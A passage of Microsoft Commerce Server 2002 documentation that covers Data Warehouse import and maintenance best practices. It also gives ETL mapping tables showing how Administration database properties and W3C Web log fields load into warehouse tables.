    For systems operating in different time zones, this interval should be increased so that the processing window covers the difference in time zones plus two hours.

    To override the default of two hours, add the following values to your Windows NT registry:

    DWORD : HEKY_LOCAL_MACHINE\Software\Microsoft\Commerce Server\TransactionImportDTS\IncrementalOverlap
DWORD : HKEY_LOCAL_MACHINE\ Software\Microsoft\Commerce Server\ProfileDataImportDTS\IncrementalOverlap

    If the registry value is present, the Data Warehouse will use it as the number of hours subtracted from the start time of the last successful import instead of using the IncrementalOverlap value.

  • If you have a situation in which the Web server log import DTS task is not importing a file you want, or is importing one you do not want, check the configuration of the "Import all log files since last import" option.

    The Sitesummary table in the Data Warehouse stores the start date/time and end date/time data that you specify in the Import Web Server Logs dialog box.

    The Import all log files since last import option compares the end time value in the Sitesummary table with the date on the Web log file. This value is recorded in the local time, therefore, you may need to adjust it since the Web log files are logged in Greenwich time.

  • If client IP addresses are translated to a single IP address, use either cookies or user names in the Web server log import DTS task for inferring users.

    Two DTS tasks are affected by IP translations:

    • Web server log import task. When inferring users, if the IP address of some users is translated to a single IP, and if the users all use the same browser, then they will be treated as the same user.

      For example, if there are ten users whose IP address is translated to single IP address, and five of those users use browser "A" and the remaining five use browser "B", then all ten users will be treated as two users. This is the result if the IP address and browser type (instead of cookies or user names) are used for inferring users.

    • IP resolution task. When some IP addresses are translated to a single IP address, you may not get accurate domain information on all of the users visiting the site because the IP resolution task performs a look up on only one IP address.

    To use either cookies or user names to infer users, see Accuracy of Inferences.

  • If you use drillthrough on the Product Sales report or Shopping Basket Events report, use the CSDW_MakePrimaryProductCategoryInfo stored procedure to map each product to its primary parent category.

    When you use drillthrough to view the details of the Product Sales report or Shopping Basket Events report, more items may appear in the report details than would be expected from the count indicated in the PivotTable report. This behavior can occur when a product is mapped to multiple categories. This is by design—the product exists in multiple categories under the category currently being examined.

    If you want to ensure that only one row is returned for each product in the drillthrough results, you must ensure that each product is mapped to only one product category. Use the CSDW_MakePrimaryProductCategoryInfo stored procedure to map each product to its primary parent category. This ensures that each product will be mapped to one and only one category in the category hierarchy.

    For more information, see Using Drillthrough to View Product Sales or Shopping Basket Events.


Import Best Practices

  • Always run the DTS tasks in sequence. Never run two DTS tasks (or multiple instances of one task) at the same time against the same Data Warehouse.

    If two DTS tasks run at the same time, the data in the Data Warehouse will be corrupted.

  • Run the DTS import tasks in sequence so fact data is imported first, and then dimension data.

    Always run the DTS import tasks in the following order:

    1. Web server log import (fact data)
    2. Transaction data import (fact data)
    3. Product catalog data import (dimension data)
    4. Profile data import (dimension data)
    5. Campaign data import (dimension data)

    For example, if you are importing only new data for campaign reports, you would run the Web server log import DTS task first, and then run the Campaign data import task.

  • If an import DTS task fails, or if you cancel an import DTS task that is in process, run the Data deletion DTS task.

    You must run the Data deletion DTS task to delete the data that was successfully imported, and to return the aggregation class tables to their pre-import state. If you do not perform this step, the aggregations may be incorrect.

  • Do not run the Web server log import DTS task on a Web server that is in production. Run this DTS task on a separate computer dedicated for this purpose.

    The Web server log import DTS task causes a lot of activity for the disk, SQL Server, CPU, and possibly the network. To minimize the impact on other resources, run the Web server log import DTS task on a separate computer, which may also have Analysis Services installed. Do not run it on your SQL Server computer.

  • To optimize the Web server log import process, set the StoreLogUser environment variable to False.

    Set the StoreLogUser variable to false if you do not need to run the IP resolution DTS task, and you do not create any custom reports that use data in the LogUser table.

    By setting the StoreLogUser variable to false, you can improve processing speed by as much as 50 percent. The LogUser table in the Data Warehouse is not populated during the import process.

    To set the StoreLogUser environment variable

    1. On the Data Warehouse server, right-click My Computer, and then click Properties.
    2. In the System Properties dialog box, on the Advanced tab, click Environment Variables.
    3. In the Environment Variables dialog box, in the System variable section, click New.
    4. In the New System Variable dialog box, in the Variable Name box, type StoreLogUser, and then in the Variable Value box type F.
    5. Click OK three times to close all dialog boxes.
  • If you are running the Web server log import DTS task using a script, you must specify a 3 GB switch in the Windows 2000 Boot.ini file on the computer hosting the Data Warehouse (SQL Server) and the computer hosting Analysis Server.

    Enabling the 3 GB switch requires two steps:

    1. Modify the Boot.ini file. For more information about the 3 GB switch, see Windows 2000 Advanced Server Help.
    2. Modify the executable running the log import DLL. Depending on how you import data into the Data Warehouse, you must modify the appropriate executable file.

    For instructions, see Running the Web Server Log Import DTS Task for a Large Site.

  • Batch one day of your log files before you import them.

    If you batch your log files on a daily basis and then import them, the import process will take less time than if you import your log files every hour.

  • Perform a Web log import just before running the Report preparation DTS task.

    For example, if you import your Web log files hourly, import only few log files at a time. As the size of your Web log files increase, the performance in terms of gigabyte per hour will decrease.

  • After you import or delete data from the Data Warehouse, run the Report preparation DTS task.

    You use the Report preparation DTS task to populate the online analytical processing (OLAP) cubes with the most recent site and user data stored in the Data Warehouse. Commerce Server 2002 uses OLAP cubes to organize summarized data stored in the Data Warehouse, allowing reports run from the Analysis modules to complete more quickly than they would without this additional step.

  • If multiple sites are sharing a Data Warehouse, run the Report preparation DTS task once to process data for all the sites.

    When executed, the Report preparation task processes all the sites in a Data Warehouse. Do not run the DTS task separately for each site; it will impact performance of the Data Warehouse.

  • To prevent error messages when you run the Report preparation DTS task, disable the processing of objects for which there will be no data.

    The Report preparation task may report errors when processing OLAP dimensions and cubes if the information necessary to populate those objects has not been imported into the Data Warehouse. The error message is displayed in the following format:

     Processing error [Source data contains no rows] <object name>

If you are importing a subset of data into the Data Warehouse (for example, you are not running the Product Catalog data import task), you may want to disable the processing of objects for which there will be no data. This will prevent the "[Source data contains no rows]" error messages.

To disable the processing of Analysis Services objects, set the ProcessingEnabled flag to 0 in the CubeProcInfo and DimProcInfo tables for the cubes and dimensions you do not want to process.

  • Run the Report caching DTS task to optimize the performance of dynamic OLAP reports run from Commerce Server Business Desk.

    After you run the Report preparation task, run the Report caching task to pre-execute reports against your Analysis server. When this is done, subsequent execution of the reports can be up to two orders of magnitude faster than the original report execution speed.

  • If you have a Web farm, collect Web server log files on a local computer before importing them into the Data Warehouse.

    By collecting the files on your local computer that performs the Web server log import DTS task, you reduce the amount of traffic on your network. It is recommended that you implement the following procedure:

    1. Set up each Web server so it zips its own Web log files.
    2. Write a Microsoft Visual Basic Scripting Edition (VBScript) script to map drives, copy the zip files to a central location, and then unzip the files.
    3. Write a second VBScript that cleans the Web log files.
    4. Create a DTS "execute process" task that runs the first VBScript to copy and unzip the log files. The task should fail if any of the log files are unavailable or zipped incorrectly.
    5. Create a second DTS task that executes the VBScript to clean the unzipped log files.
    6. Run the Configuration synchronization DTS task and then the Web server log import DTS task.
  • If your deployment includes multiple Web servers, you can improve performance of the import process by tuning the environment variable MaxHitPerBuffer.

    The MaxHitPerBuffer variable controls some of the buffer size in the multilog-datasource parser. The default for MaxHitPerBuffer is 6. You can adjust this setting to improve performance, depending on the number of servers in your deployment and the amount of traffic on your site.

    For example, if you have 120 Web servers and you get a lot of unique visitors to your site, it may be optimal to set MaxHitPerBuffer to 5; any higher would consume too much memory. If you have 5 Web servers, you may be able to set MaxHitPerBuffer as high as 10.

    Setting MaxHitPerBuffer higher than 10 is not recommended because it may use more than 1 GB of physical memory. If you do set MaxHitPerBuffer higher than 10, you should also enable the 3 GB switch in the Boot.ini file, and use the 3 GB enabled executables to do log import. For more information, see Running the Web Log Server Import DTS Task for a Large Site.

    To determine the optimal value for MaxHitPerBuffer in your scenario, monitor the memory usage (private bytes and virtual bytes).

  • To perform a Web server log import from an Network Load Balancing Cluster, set up the server topology that will describe your cluster configuration to Commerce Server, and then run only one Web server log import DTS task.

    In this scenario, you want log files from http://<site> to appear in only one report in Commerce Server. However, the Web server log files are in two or more locations, for example, \\server1\d$\iislogfiles\w3svc4 and \\server2\d$\iislogfiles\w3svc4. To set up the server topology, you can name the log files the same in each location as long as they are in the correct folder corresponding to the Web server.

    For instructions about specifying the server topology, see Adding a Non-Commerce Application to a Site and Adding a Non-Commerce Web Server to an Application.

    After you set up your non-Commerce application and Web servers, configure the properties in the Web server log import DTS task so each of the newly created Web servers point to the log files. The log files should be in separate folders, one for each server. (You can also do this when you create the servers.) For instructions, see Configuring the Web Server Log Import DTS Task.

  • If you deploy a new or updated catalog, campaign, or profile definition to your Web site, and then delete it the same day, the operation may affect the completeness of data imported into the Data Warehouse.

    For example, you add the product "Green Book" to your catalog. This product gets the product ID of "X" within the catalog runtime database. You then publish the updated catalog to your Web site. A user shopping on your Web site adds one "Green Book" to the basket. As a result, the Commerce event "Add to basket" is logged to the IIS Web log file. One of the values in the Commerce Event is a product ID ("X"). The product ID references a row in a table in the catalog runtime database.

    Normally the Data Warehouse import process resolves this product ID to a full description: the Commerce Event that had product ID "X" resolves as a foreign key to a catalog table. However, if you remove the item from the catalog database before the Data Warehouse imports it, the Web server log import task cannot resolve product ID "X" in the Web log file.

    This type of "child data" in the Data Warehouse database that is separated from the "parent data" required to give it meaning is known as "orphaned data." For information about deleting orphan data, see Deleting Orphan Data from the Data Warehouse.

  • To improve profile data import speed, configure the start date and query interval values.

    The Data Warehouse wizard uses the default start date of 01/01/2000 and the default query interval of fifteen minutes. If you import profile data using these default values, the Data Warehouse will try to read the data from 01/01/2000 00:00 – 00:15 and then 01/01/2000 00:15 – 00:30 and so on. Change the start date and query interval to values appropriate to the data you are importing.

  • Verify the Application Event Log after importing data.
Check the Application Event Log after importing data into the Data Warehouse. You use the Application Event log to confirm that an import completed successfully, or to view errors that occurred during the import process.


Maintenance Best Practices

  • On a weekly basis, defragment indexes on all the tables that are more than 30 percent fragmented.

    The Web server log import DTS task causes indexes to become fragmented. When your indexes are more than 30 percent fragmented, it will take longer for the Web server log import DTS task to complete.

    To determine the extent an index is fragmented, and to defragment an index, use two SQL Server Database Console statements (DBCC): DBCC SHOWCONTIG and DBCC INDEXDEFRAG. For instructions, see SQL Server Books Online.

  • On a rotating basis, delete detailed Web log file data, and then delete all summarized data from the Data Warehouse.

    The Data Warehouse cannot maintain detailed data indefinitely; eventually, the database will reach maximum capacity.

    It is important to frequently delete obsolete log file data. This avoids declining performance and limited memory capacity in the Data Warehouse. If you need to maintain historic data from your Commerce Server database, use reports to extract and save the data in a convenient format for future reference.

  • On a regularly scheduled basis, delete dimensional data.

    The Data deletion DTS task deletes fact data, not dimensional data. You must delete dimensional data programmatically.

    Since deleting dimensional data is a slow process, it is recommended that you perform this step infrequently, for example, once a year.

    For information about deleting dimensional data, see Running the Data Deletion DTS Task.

  • Before running the Data deletion DTS task, verify that the size of the tempdb database is larger than the size of the database to be deleted.

    For example, if the database to be deleted is 15 GB, then SQL Server needs a tempdb database that is at least 15 GB. Otherwise, the Data deletion task will fail.

  • When new profile properties are added to the Profiling System, evaluate whether you must extend the Data Warehouse to import them.

    Commerce Server provides five empty properties in the User Object profile definition so you can add new profile properties without extending the Data Warehouse schema; the properties can be imported automatically.

    If you add more than five custom profile properties to the User Object, or if you add properties to other data objects, you must extend the Data Warehouse.

    For information about specifying which properties are imported into the Data Warehouse, and determining when you must extend the Data Warehouse, see Specifying Data to be Imported into the Data Warehouse.

    For information about extending the Data Warehouse and creating relations, see Extending the Data Warehouse. In addition, see the white paper "Extending the Commerce Server Data Warehouse / Analytics," located at the Development page on the Commerce Server Web site http://go.microsoft.com/fwlink/?LinkId=945. For samples that show how to extend the Data Warehouse, see Business Analytics Samples.

See Also

Extract, Transform, and Load Process for DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema

Multiple Sites and One Data Warehouse

Securing the Data Warehouse

Securing Reports

Data Warehouse Import Wizard


Extract, Transform, and Load Process for DTS Tasks

This section contains reference information for the extract, transform, and load (ETL) process for the Commerce Server DTS tasks. The ETL process begins when data is extracted from specific data sources. The data is then transformed, using rules, algorithms, concatenations, or any number of conversion types, into a specific state. Once in this state, the transformed data is loaded into the Data Warehouse where it can be accessed for use in analysis and reporting.

The following table describes the types of transformations that the DTS tasks apply to data.

Transformation | Description
Copy Column | Use to copy data directly from source to destination columns, without any transformations applied to the data.
Copy Cell | Use to copy data directly from source to destination cells, without any transformations applied to the data.
Concatenation | Use to consecutively link strings from more than one source column into one string containing a semi-colon separated list of strings, and copy the result to the destination column.
Generated | Use when the DTS task creates new data, or summarizes data from the source.
ActiveX Script | Use to build custom transformations. Note that since the transformation occurs on a row-by-row basis, a Microsoft ActiveX script can affect the execution speed of a DTS package.
DateTime String | Use to convert a date or time in a source column to a different format in the destination column.
Lowercase String | Use to convert a source column to all lowercase characters and, if necessary, to the destination data type.
Uppercase String | Use to convert a source column to all uppercase characters and, if necessary, to the destination data type.
Middle of String | Use to extract a substring from the source column, transform it, and copy the result to the destination column.
Trim String | Use to remove leading, trailing, and embedded white space from a string in the source column, and copy the result to the destination column.
Read File | Use to open the contents of a file whose name is specified in a source column, and copy the contents into a destination column.
Write File | Use to copy the contents of a source column (data column) to a file whose path is specified by a second source column (file name column).

Most tables in the Data Warehouse contain columns named TableID and TableInternalFlag, where Table is the name of the Data Warehouse table in which the column appears. These columns are not listed in the tables in the sections for each task listed below because the columns are not loaded by the DTS tasks, they are loaded by the OLE DB Provider for Commerce Server. The TableID column contains a binary six-byte unique identifier. The TableInternalFlag column is for internal use only, and is used by the OLE DB Provider for Commerce Server.

Most Data Warehouse tables also contain a SiteName column. This column, like TableID and TableInternalFlag, is also not listed in the tables in the sections below because the SiteName is always extracted from the same location for all DTS tasks.

This section contains:

  • ETL Process for the Configuration Synchronization DTS Task
  • ETL Process for the Web Server Log Import DTS Task
  • ETL Process for the Transaction Data Import DTS Task
  • ETL Process for the Product Catalog Import DTS Task
  • ETL Process for the Profile Data Import DTS Task
  • ETL Process for the Campaign Data Import DTS Task
  • ETL Process for the Data Deletion DTS Task
  • ETL Process for the Model Builder DTS Task
  • ETL Process for the IP Resolution DTS Task
  • ETL Process for the Report Preparation DTS Task
  • ETL Process for the Report Caching DTS Task


ETL Process for the Configuration Synchronization DTS Task

The Configuration synchronization DTS task synchronizes information between the Administration database and the Data Warehouse. Specifically, the task synchronizes updates made to the site topology, query strings, crawlers, and report definitions. The Configuration synchronization DTS task should be run before any of the other import or delete tasks are run.

The following tables list the columns extracted from the source tables in the Administration database, the transformation performed, and the tables that the data is saved to in the Data Warehouse.

Synchronizing the Site Topology

Source property name from the ResourceProps table of the Administration database Transformation Target columns in the Site table of the Data Warehouse
WhenImportIsComplete
 Generated

Value of s_Value plus 1 is loaded.

EndImportAction

N/A
 Generated

Set to zero (0).

IsAdjustTimeStamps

ExcludeCrawlers
 Copy Column
IsExcludeSpiders

i_QSSaveWithUri
 Generated

Value of s_Value plus 1 is loaded.

IsSeparateUriAndQueryString

UseCookiesForInferences
 Copy Cell
IsUseCookiesForInferences

MultipleUsersUseTheSameName
 Copy Cell
IsUseUsernameForInferences

UseUPMCookiesForInferences
 Copy Cell
IsUseUPMCookiesForInferences

s_InfNames
 Copy Cell
CookieIdentifiers

IfOverlapDetected
 Generated

Value of s_Value plus 1 is loaded.

OverlapAction

MinutesRecordsOverlap
 Copy Cell
OverlapMins

s__Name from Sites Table in MSCS_Admin database
 Copy Cell
SiteName

TimeZone
 Copy Cell
TimeZone

IdleTmeBeforeVisitEnds
 Copy Cell
VisitTimeOut

RetryCount
 Copy Cell
RetryCount

RetryExhaustAction
 Copy Cell
RetryExhaustAction

g_nStartDayOfWeek
 Copy Cell

Default value is zero (0).

WeekStartDay
Source PropertyName from the ResourceProps table of the Administration database Transformation Target columns from the ServerGroup table in the Data Warehouse
s_WebServerName
 Copy Cell
varList

s_LogFileDirectory
 Copy Cell
LogFileDir

s_LogType
 Copy Cell
LogFormatID

s_WebServerMachine and s_WebServerName
 Concatenation

"LDS For" s_WebServerMachine/ s_WebServerName.

Used only if varList is empty.

ServerGroupName

N/A
 Generated

Value of 25 (GMT) is loaded.

TimeZone

s_LogFileCodePage
 Copy Cell
LogFileCodePage

s_URLEncodingCodePage
 Copy Cell
URLEncodingCodePage
Source PropertyName from the ResourceProps table of the Administration database Transformation Target columns from the VirtualServer table in the Data Warehouse
s_DirectoryIndexFiles
 Copy Cell
DirIndexes

LocalDomainDnsServer
 Copy Cell

If cell is empty load “Unknown”

LocalDomain

s_WebServerMachine and  s_WebServerName
 Generated

s_WebServerName on s_WebServerMachine

VserverName

N/A
 Generated

Value of 1 is loaded.

VserverType
Source PropertyName from the ResourceProps table of the Administration database Transformation Target columns from the ServerBinding table in the Data Warehouse
s_ServerBindings
 Middle of String
HostHeaderName

s_ServerBindings
 Middle of String
IPAddress

N/A
 Generated

If the binding is secure, 443 is loaded. If it is insecure, 80 is loaded.

IPPort
Source PropertyName from the ResourceProps table of the Administration database Transformation Target columns from the SiteURL table in the Data Warehouse
s_ExFileExpressions and s_ExFileTypes
 Concatenation

Asterisk (*) separated list of expressions and types.

ExcludeCriteria

s_ExHosts
 Copy Cell
ExcludeHosts

TruncateTopDir
 Copy Cell
IsChopTopLevelDir

s_NonSecureHostname and s_VirtualRootName
 Concatenation

http://" & s_NonSecureHostname & "/" & s_VirtualRootName

URL

s_NonSecureHostname and s_VirtualRootName
 Concatenation

http://" & s_NonSecureHostname & "/" & s_VirtualRootName

URLExt

Query String Updates

Source Property Name from the ResourceProps table of the Administration database Transformation Target columns from the URIQuery table in the Data Warehouse
s_QSName
 Copy Cell
QueryString

N/A
 Generated
QueryStringKey
Source Property Name from the ResourceProps Table of the Administration Database Transformation Target Columns from the SVQStringName Table in the Data Warehouse
s_QSName
 Copy Cell
QStringName
Source Property Name from the ResourceProps table of the Administration database Transformation Target columns from the LinkSVQStringName table in the Data Warehouse
s_QSName
 Copy Cell

Load a LinkSVQStringName for every SiteURLID listed in s_OSApplicationList.

LinkSVQStringName
Source Property Name from the ResourceProps table of the Administration database Transformation Target columns from the MVQStringName table in the Data Warehouse
s_QSName
 Copy Cell
QStringName

Crawler Updates

Source Property Name from the ResourceProps table of the Administration database Transformation Target columns from the Crawler table in the Data Warehouse
Crawler.ini
 Read File
CrawlerString

i_SiteID from Sites Table in MSCS_Admin database
 Copy Cell
SiteID

See Also

Running the Configuration Synchronization DTS Task

Scripting the Configuration Synchronization DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Web Server Log Import DTS Task

The Web server log import DTS task imports Web log file data generated by your Web site into the Data Warehouse.

The configuration of your application and Web servers will affect the log file data imported during the Web server log import DTS task. Because log files can contain information for more than one site you may need to parse the log files on a per site or virtual server level. Therefore, each hit in the log file must be associated with a particular virtual server. The Web server log import task can be configured to filter out the appropriate virtual servers. The virtual server is identified by three properties: port number, IP address, and virtual server key. Because the secure port number (port 443) and the non-secure port (port 80) both effect the virtual server key, they are seen as two different virtual servers, and the Web server log import exclusions must be set up appropriately to include both virtual servers in a Web log import. For more information on filtering log files for the log import, see Setting Web Log File Exclusions.

Notes

  • Not all lines of the log file will be imported to the Request table because many lines in the log file are caused by hits, not actual requests. Only requests are imported to the Request table. A series of filters is used to distinguish hits from requests in the log file. For more information about selecting information to exclude from the Web server log import to the Request table, see Setting Web Log File Exclusions.
  • The time overlap setting for the Web server log import DTS task will effect the requests imported to the Request table at the beginning and end of a log file. By default, the Web server log import DTS task will discard requests that overlap another log file by 30 minutes. For information about changing the time overlap settings, see Setting Time Overlap and Log File Rotation Properties.

The following tables list the columns extracted from the W3C log file, the transformation made, and the tables the data is saved to in the Data Warehouse.

Source columns from the W3C log file Transformation Target columns from the Request table in the Data Warehouse
N/A
 Generated

Generated by the log import application. Incremented for each request line of a log file that gets stored. This is unique across different imports.

RequestNum

cs-uri-query
 Copy Column

Contains the entire query string from the log file.

QueryString

cs-uri-stem
 Copy Column
Uri

cs-bytes
 Copy Column

Client to server bytes.

BytesReceived

sc-bytes
 Copy Column

Server to client bytes.

BytesSent

N/A
 Generated

This column is generated within the log import application as a unique identifier.

VisitNum

date and time
 Concatenation

Convert to local time.

TimeStamp

N/A
 Generated

This is the key member of the SiteURL class. The OLE DB provider will resolve this to SiteURLID in the physical SiteURL table.

URL

N/A
 Generated

Determines if this entry is considered a Request (versus a Hit).

This can be set to false when the hit is filtered. The most common filtered hit is when an image is requested and it has a Commerce Event attached to it.

IsRequest

cs(Referer)
 Copy Column
ReferrerURL

cs(Referer)
 Middle of String

Takes only the domain portion of the URI.

ReferrerDomainName

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user key is the first 8 bytes of an MD4 hash of whatever is used as the user key. What is used as the user key depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserKey

sc-win32-status
 Copy Column
Win32Status

sc-status
 Copy Column
HttpStatus

N/A
 Generated

Log import will match a log line to a configured server binding (including the port number (s-port) and IP address (s-ip)). If the server binding is classified as being secure, this column will be set to true. For more information, see Configuring an Application.

IsSecure

cs-method
 Generated

GET = 1, POST=2, HEAD=3

Method

time-taken
 Copy Column
TimeTaken

N/A
 Generated

The first request of a visit detected within the log import is 1, and successively gets incremented for each subsequent request in the visit.

RequestIndex

N/A
 Generated

If log import detects there is no Commerce Event query string on this line, this will be set to false.

HasCommerceEvent

N/A
 Generated

This is incremented for each instance of a log import.

TaskID

cs-uri-stem
 Middle of String

Takes only the first level of the URI, if available.

Level1Dir

cs-uri-stem
 Middle of String

Takes only the second level of the URI, if available.

Level2Dir

cs-uri-stem
 Middle of String

Takes only the third level of the URI, if available.

Level3Dir

cs-uri-stem
 Middle of String

Takes only the fourth level of the URI, if available.

Level4Dir

cs-uri-stem
 Middle of String

Takes only the fifth level of the URI, if available.

Level5Dir

cs-uri-stem
 Middle of String

Takes only the sixth level of the URI, if available.

Level6Dir

cs(User-Agent)
 Copy Column
UserAgentName

UPM Cookie Key
Or
cs(cookie)
Or
cs-ip + cs(User-Agent)
 Generated

The UserId is the first 8 bytes of an MD4 hash of whatever is used as the user ID. What is used as the user ID depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserID

cs-uri-query
 Copy Column

MD4 Hash

QueryStringKey

N/A
 Generated

Used for check pointing support.

SubTaskID

cs-uri-stem
 Copy Column

MD4 Hash

UriKey

cs(Cookie)
 Middle of String

Only the matched cookie is extracted. The shipping schema does not physically store this property, although the schema can be logically extended to store it.

Cookie

Writing to the Visit Table

A visit begins when the referrer is not internal to the site. For example, if a user hits your site (<www.microsoft.com>), then clicks a link on your site that takes them to a different site (<www.msn.com>), and then returns to your site (<www.microsoft.com>), the Visit table will log two individual visits. The following table shows an example of what the log file for this user might resemble.

Time (in minutes) | UserName | URI | Referrer
0 | A | /default.asp | -
1 | A | /foo.asp | <http://www.microsoft.com/default.asp>
5 | A | /default.asp | <http://www.msn.com>

If the definition of a visit were based on time alone, this would be one visit. However, the Data Warehouse knows that the user left the site and came back by virtue of the referrer being external to the site. A substring match against the SiteURL table determines if the referrer is internal. The referrer is checked to be internal using a substring match against the SiteURL table.

Note

  • Some visits recorded in the Visit table may be open visits. For more information about changing log file rotation settings and overlap settings of your log files, see Setting Time Overlap and Log File Rotation Properties.
Source columns from the W3C log file Transformation Target columns from the Visit table in the Data Warehouse
N/A
 Generated

This column is generated within the log import application as a unique identifier.

This is a foreign key to the Visit table. It is also a foreign key to the VisitInfo table; however, the VisitInfo table is only inserted when the user’s visit is complete.

VisitNum

date and time
 Concatenation

This is the timestamp of the first request in the visit. Convert to Local Time.

Timestamp

cs(Referer)
 Copy Column

Includes the query string.

ReferrerURL

cs(Referer)
 Takes only the domain portion of the URI.
ReferrerDomainName

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user key is the first 8 bytes of an MD4 hash of whatever is used as the user key. What is used as the user key depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserKey

UserDomainName

s-ip
 Copy Column
IpAddress

N/A
Generated

This is incremented for each instance of a log import.

TaskID

time
 Middle of String
Hour

UPM Cookie Key
Or
Custom Cookie or IP Address + Browser Agent String
 Generated

MD4 Hash

UserID

DateCreated

cs-username
 Copy Column
UserName

N/A
 Generated

If the user has a cookie, this is set to True.

HasCookie

N/A
 Generated

Used for check pointing support.

SubTaskID

cs(Cookie)
 Takes only the matched cookies. This property is not physically stored. User can logically extend to store.
Cookie

The VisitInfo table represents closed user visits. This class is written from log import when the visit has closed. A visit is closed when an external referrer was encountered or a visit timeout occurred.

Source columns from the W3C log file Transformation Target columns from the VisitInfo table in the Data Warehouse
N/A
 Generated
CountOfRequest

N/A
 Generated
Duration

N/A
 Generated
FirstTimeStamp

N/A
 Generated
FirstHTimeStamp

N/A
 Generated

This column is generated within the log import application as a unique identifier.

This is a foreign key to the Visit table. It is also a foreign key to the VisitInfo table; however, the VisitInfo table is only inserted when the user’s visit is complete.

VisitNum

N/A
 Generated

This is incremented for each instance of a log import.

TaskID

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user key is the first 8 bytes of an MD4 hash of whatever is used as the user key. What is used as the user key depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserKey

cs(User-Agent)
 Copy Column
UserAgentName

FirstRequestNum

SecondRequestNum

LastRequestNum

FirstUriKey

SecondUriKey

LastUriKey

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user key is the first 8 bytes of an MD4 hash of whatever is used as the user ID. What is used as the user ID depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserID

cs(Referer)
 Generated

Only the domain portion of the URI is loaded.

ReferrerDomainName

N/A
 Generated

Used for check pointing support.

This is a foreign key to the LogImportSubTask table.

SubTaskID
Source columns from the W3C log file Transformation Target columns from the TaskHistory table in the Data Warehouse
N/A
 Generated

This is incremented for each instance of a DTS import task.

TaskID

N/A
 Generated

This identifies which import task was used.
1 = Web server log import
2 = Profile data import
3 = Campaign data import
4 = Product catalog import
5 = Transaction log import
8 = Configuration synchronization
9 = Data deletion
10 = IP resolution
11 = Report preparation
20 = Report caching

OperationID

N/A
 Generated

Result of the import.
1 = Import Success
2 = Import Completed with Failure
3 = Import Incomplete.
4 = Import Aborted

Status

N/A
 Generated

Physical start time of the import.

StartTime

N/A
 Generated

Physical end time of the import.

EndTime

N/A
 Generated

Description of the import task.

Description

N/A
 Generated

Used for check pointing support for the Web log import DTS task.

SubTaskID

N/A
 Generated

Used for restart for the Web log import DTS task.

NumOfTries

The LogImportSubTask class is used internally within the Web log import to track checkpoints for the restart feature.

Source columns from the W3C log file Transformation Target columns from the LogImportSubTask table in the Data Warehouse
N/A
 Generated

Used for check pointing support.

SubTaskID

N/A
 Generated

Incremented for each instance of a log import.

TaskID

N/A
 Generated

A foreign key to the Site table.

SiteID

N/A
 Generated

Server group name for which you are importing. There is a unique ServerGroup for each virtual server (for IIS, a distinct log file).

ServerGroup

N/A
 Generated

A log file name within the import.

FileName

N/A
 Generated

The offset within the log file where the checkpoint occurred.

ByteOffsetHigh

N/A
 Generated

The offset within the log file where the checkpoint occurred.

ByteOffsetLow

N/A
 Generated

The W3C fields directive at the time of the checkpoint.

Field

N/A
 Generated

Current log file date and time when the checkpoint occurred.

Date

The OpenUserVisit class represents users that have active visits at the time of the end of a log import. To modify how open user visits are handled by the Web server log import DTS task you must adjust the log file rotation settings. For more information about changing log file rotation settings, see Setting Time Overlap and Log File Rotation Properties.

Source columns from the W3C log file Transformation Target columns from the OpenUserVisit table in the Data Warehouse
N/A
 Generated

The count of requests in this current open visit.

CountOfRequest

N/A
 Generated
FirstTimeStamp

N/A
 Generated
LastTimeStamp

N/A
 Generated

Generated within the log import application as a unique identifier.

VisitNum

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user key is the first 8 bytes of an MD4 hash of whatever is used as the user key. What is used as the user key depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserKey

N/A
 Generated

This is incremented for each instance of a log import.

TaskID

cs(User-Agent)
 Copy Column
UserAgentName

N/A
 Generated

Foreign key to the request table. The first request in this visit.

FirstRequestNum

N/A
 Generated

Foreign key to the request table. The second request in this visit.

SecondRequestNum

N/A
 Generated

Foreign key to the request table. The last request in this visit.

LastRequestNum

N/A
 Generated

Foreign key to the URI table. The first URI in this visit.

FirstUriKey

N/A
 Generated

Foreign key to the URI table. The second URI in this visit.

SecondUriKey

N/A
 Generated

Foreign key to the URI table. The last URI in this visit.

LastUriKey

cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user ID is the first 8 bytes of an MD4 hash of whatever is used as the user key. What is used as the user ID depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address and browser agent string.

UserID

cs(Referer)
 Middle of String

Only the domain portion of the URI is loaded.

ReferrerDomainName

N/A
 Generated

Used for check pointing support.

SubTaskID
Source columns from the W3C log file Transformation Target columns from the SiteSummary table in the Data Warehouse
N/A
 Generated

This is calculated during log import. All valid hits the parser was able to successfully parse from the log file.

TotalHits

N/A
 Generated

Total number of hits that were not filtered out by exclude criteria.

TotalImportHits

N/A
 Generated

Total number of visits (open and closed) that were encountered.

TotalVisits

N/A
 Generated

Number of hits that were excluded by the server exclude criteria.

TotalBadServerCount

N/A
 Generated

Number of hits that were excluded by not being able to match a configured site. If this number is high, check your application configuration. For more information about configuring your application, see Configuring an Application.

TotalBadSiteCount

N/A
 Generated

Number of hits that were excluded by the excluded host criteria.

TotalExcludeHostCount

N/A
 Generated

Total number of hits that were excluded by all criteria.

TotalExcludeCriteriaCount

N/A
 Generated

